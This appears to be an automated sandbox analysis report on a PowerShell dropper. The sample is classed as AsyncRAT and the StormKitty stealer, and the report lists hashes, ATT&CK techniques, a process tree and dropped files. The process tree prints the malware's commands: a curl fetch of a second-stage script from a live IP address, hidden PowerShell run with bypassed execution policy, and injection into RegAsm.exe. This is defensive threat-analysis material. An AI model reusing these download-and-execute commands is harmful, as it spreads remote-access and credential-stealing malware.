asyncrat | 81c941402a1bcf018d8d965f700229b5815d03ba02ca9f2d1a22c8ace0476972

General

Target

trwsfg.ps1
Size

1KB
MD5

87cb99ee4cbf9c8c190da786ff51cc5e
SHA1

70fcc5113233216e878781682befcedddf85eda2
SHA256

81c941402a1bcf018d8d965f700229b5815d03ba02ca9f2d1a22c8ace0476972
SHA512

85200ea2189e6e860286b9d0637698a9cf6c03380030816202e3ed0554da39bf01300470a0345f7c05b297e04e4603c2f226618fae9422d833ba22b5a47bfe6d

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/1016-49-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1284	powershell.exe
17	4796	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4796	powershell.exe
1284	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4796 set thread context of 1016	4796	powershell.exe	91

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
1016	RegAsm.exe
1016	RegAsm.exe
1016	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1284	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	1016	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1016	RegAsm.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 1284 wrote to memory of 4712	1284	powershell.exe	84
PID 1284 wrote to memory of 4712	1284	powershell.exe	84
PID 4712 wrote to memory of 4024	4712	cmd.exe	85
PID 4712 wrote to memory of 4024	4712	cmd.exe	85
PID 4712 wrote to memory of 4796	4712	cmd.exe	86
PID 4712 wrote to memory of 4796	4712	cmd.exe	86
PID 4024 wrote to memory of 1360	4024	cmd.exe	87
PID 4024 wrote to memory of 1360	4024	cmd.exe	87
PID 4796 wrote to memory of 1444	4796	powershell.exe	88
PID 4796 wrote to memory of 1444	4796	powershell.exe	88
PID 1444 wrote to memory of 4656	1444	csc.exe	89
PID 1444 wrote to memory of 4656	1444	csc.exe	89
PID 4796 wrote to memory of 1488	4796	powershell.exe	90
PID 4796 wrote to memory of 1488	4796	powershell.exe	90
PID 4796 wrote to memory of 1488	4796	powershell.exe	90
PID 4796 wrote to memory of 1016	4796	powershell.exe	91
PID 4796 wrote to memory of 1016	4796	powershell.exe	91
PID 4796 wrote to memory of 1016	4796	powershell.exe	91
PID 4796 wrote to memory of 1016	4796	powershell.exe	91
PID 4796 wrote to memory of 1016	4796	powershell.exe	91
PID 4796 wrote to memory of 1016	4796	powershell.exe	91
PID 4796 wrote to memory of 1016	4796	powershell.exe	91
PID 4796 wrote to memory of 1016	4796	powershell.exe	91

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trwsfg.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1284
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4024
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
      4⤵
      PID:1360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4796
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jmqljpd1\jmqljpd1.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1444
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB333.tmp" "c:\Users\Admin\AppData\Local\Temp\jmqljpd1\CSC4EF0F37AA2AD4D88A93264BDD4437E9.TMP"
        5⤵
        
        PID:4656
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1488
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB333.tmp

Filesize
1KB

MD5
e8bc6a8cd132e7d9b944a9f549d25627

SHA1
e178ce1dd7d75e06646df19bc2f823bc471b5119

SHA256
306345fd4a452c51908f5160b062a2b8a5aeeaae670bef42319286ee0d70d923

SHA512
f6ef1e172a2011cf8c82034d75ca4eeabc3de26a7a15ddd19eec4a715a70a542de842fd790b0ce40aa83327805ca7955d52eb2d0870793a2b6f0c78f76ece2e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ye2fza2.zah.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\jmqljpd1\jmqljpd1.dll

Filesize
9KB

MD5
9d0626db0a70797d4ee9bd266a471a28

SHA1
e4d1745a045933fc0c2813a17ada200eb1909288

SHA256
bef2c4499ef2bd121548e6569feeec38f4c5b719ee35de1dc84e4338b06536f2

SHA512
0f936717eed55db4cd25e6f6717f57d1bb2948fabf31ac8c41f805bcc8725ac25ad9b10be9ad73602239e64b6bbe781b664b9b9f3ad4ad7c4c01e5f4f295c0c7

Download Submit
C:\Windows\Temp\Modules.bat

Filesize
3KB

MD5
bb445d197063475c8d78de4f0825753c

SHA1
158a8e3b278affe7c1185aad67683e4253cf53dd

SHA256
7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

SHA512
173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jmqljpd1\CSC4EF0F37AA2AD4D88A93264BDD4437E9.TMP

Filesize
652B

MD5
11f47bf9382a5e8cd0c3027a834fbbb8

SHA1
a0f7a63169075a8f8dfa4e5ae0073c868e86b7b9

SHA256
f49111c442e89f58de7dbd6cc3a4b3f7171d16bc28602b5bf82f0a4f9449ec39

SHA512
a2b9bb07668f148a0b08408663a29998c9f142b8fc2720c31f99af3558751d86a16d9fc06cf61301a3f86f19fefbfcb5b6ecf934a3740564c1e5464cd647c4fa

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jmqljpd1\jmqljpd1.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jmqljpd1\jmqljpd1.cmdline

Filesize
204B

MD5
4e49a27891197e806f0dbcee6daee424

SHA1
d49eb28ec20efdf2f4adce37d8ed3871a6e9c633

SHA256
6d8031df00a944af3437f6225bfc3b6e255967c02d2339393965042b11908195

SHA512
e30d7c4166e81f0410459b7def085586541e21ea5adbdd92ecc4596afd18745a3a0dcf43536abb3e56314bf611d3430549d0c984fa876f116e611000934db844

Download Submit
memory/1016-49-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/1016-60-0x0000000006B20000-0x0000000006E74000-memory.dmp

Filesize
3.3MB

Download
memory/1016-59-0x0000000006AF0000-0x0000000006B12000-memory.dmp

Filesize
136KB

Download
memory/1016-58-0x0000000006640000-0x00000000066A6000-memory.dmp

Filesize
408KB

Download
memory/1016-57-0x00000000065A0000-0x000000000663C000-memory.dmp

Filesize
624KB

Download
memory/1016-54-0x0000000005410000-0x000000000541A000-memory.dmp

Filesize
40KB

Download
memory/1016-53-0x0000000005D20000-0x0000000005DB2000-memory.dmp

Filesize
584KB

Download
memory/1016-52-0x0000000005770000-0x0000000005D14000-memory.dmp

Filesize
5.6MB

Download
memory/1284-1-0x0000020F7D9A0000-0x0000020F7D9C2000-memory.dmp

Filesize
136KB

Download
memory/1284-11-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1284-12-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1284-18-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/1284-0-0x00007FF81EA33000-0x00007FF81EA35000-memory.dmp

Filesize
8KB

Download
memory/4796-20-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/4796-47-0x00000256E2E00000-0x00000256E2E08000-memory.dmp

Filesize
32KB

Download
memory/4796-51-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/4796-34-0x00000256E2DF0000-0x00000256E2E00000-memory.dmp

Filesize
64KB

Download
memory/4796-33-0x00000256E5400000-0x00000256E5476000-memory.dmp

Filesize
472KB

Download
memory/4796-32-0x00000256E5330000-0x00000256E5374000-memory.dmp

Filesize
272KB

Download
memory/4796-22-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download
memory/4796-21-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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